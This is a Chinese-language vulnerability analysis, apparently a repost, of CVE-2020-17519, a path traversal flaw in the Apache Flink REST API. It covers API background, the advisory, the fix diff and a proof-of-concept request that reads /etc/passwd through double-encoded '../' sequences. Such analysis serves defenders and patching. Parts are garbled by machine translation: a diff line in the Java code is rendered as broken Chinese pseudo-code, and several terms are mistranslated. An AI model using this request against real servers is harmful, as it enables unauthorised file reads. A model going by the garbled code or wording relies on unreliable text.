简介Apache Flink
参考官方文档https://flink.apache.org/
ApacheFlink®—数据流上的状态计算
Apache Flink是一个框架和分布式处理引擎,用于对无边界和有边界的数据流进行有状态的计算。
Flink被设计成可在所有常见的集成环境中运行,在任何规模下以“内存速度”执行计算。
REST API
参考官方文档https://ci.apache.org/projects/flink/flink-docs-stable/ops/rest_api.html#jobmanager-logs
Flink具有监控API,可用于查询“正在运行的作业”和“最近完成的作业”的状态和统计信息。该监控API被用作Flink自己的仪表板,同时也可以使用自定义监控工具。
该监控API是REST-ful API,即接受HTTP请求,并响应JSON格式的数据。
使用REST API
监控API中有一个API是 /jobmanager/logs
作用是:返回JobManager上的日志文件列表。
要求1:
GET jobmanager/logs HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
回应1 :(手动格式化了json数据)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 1031
{
"logs": [
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.3",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.log",
"size": 123126
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.1",
"size": 19991
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.2",
"size": 18651
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.out",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.out.1",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.log.1",
"size": 18910
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log",
"size": 18443
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.2",
"size": 0
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.1",
"size": 0
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.3",
"size": 18160
}
]
}
现在有了日志的列表,可以看其中一些日志文件的具体内容。
要求2:
GET jobmanager/logs/flink-work-standalonesession-0-instance-demo.test.log HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
回应2:
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 14910
2021-01-04 14:58:05,470 INFO
(该日志的文件内容 此处省略)
进攻信息
参考自https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cannounce.apache.org%3E
突破名称:
CVE-2020-17519:Apache Flink目录遍历攻击:通过REST API读取远程文件
影响版本:
3个版本受影响1.11.0
1.11.1
1.11.2
漏洞描述:
Apache Flink 1.11.0中约会的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
漏洞危害:
。访问限制为JobManager进程可访问的文件
(对于JobManager进程有权限读取的那些文件,攻击者可通过利用此漏洞实现文件读取)。
修复方案:升级到1.11.3或1.12.0
该问题已在apache / flink:master的commit b561010b0ee741543c3953306037f00d7a9f0801中修复。
鸣谢:
此问题由Ant Security FG Lab的0rich1发现
进攻分析
参考差异https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801
文件路径:
flink-runtime / src / main / java / org / apache / flink / runtime / rest / handler / cluster / JobManagerCustomLogHandler.java
该文件的代码变更:
//具体变化:去掉了第1行,补充了第2行
String filename = handlerRequest 。getPathParameter (LogFileNamePathParameter 。类);
字符串 文件名 = 新的 文件(handlerRequest 。getPathParameter (LogFileNamePathParameter 。类))。getName ();
使用File
类,可以去掉path信息,是个简单的修复方法。
修复之后的关键代码如下:https :
//github.com/apache/flink/blob/97bfd049951f8d52a2e0aed14265074c4255ead0/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java
@Override
protected File getFile(HandlerRequest<EmptyRequestBody, FileMessageParameters> handlerRequest) {
if (logDir == null) {
return null;
}
// wrapping around another File instantiation is a simple way to remove any path information
// - we're
// solely interested in the filename
String filename =
new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
return new File(logDir, filename);
}
}
进攻验证
GET jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
响应:
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 1523
root:x:0:0:root:/root:/bin/bash
总结
CVE-2020-17519:Apache Flink目录遍历攻击:通过REST API读取远程文件
对于受此影响的1.11.0
1.11.1
1.11.2
版本的Apache Flink,可以实现(JobManager进程权限的)任意文件读取。
原文作者:arr0w1
原文链接:https://xz.aliyun.com/t/8992?spm=5176.12901015.0.i12901015.a2b4525cSCJX3Z
本文始发于微信公众号(Ots安全):漏洞分析 - Apache Flink 任意文件读取漏洞(CVE-2020-17519)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论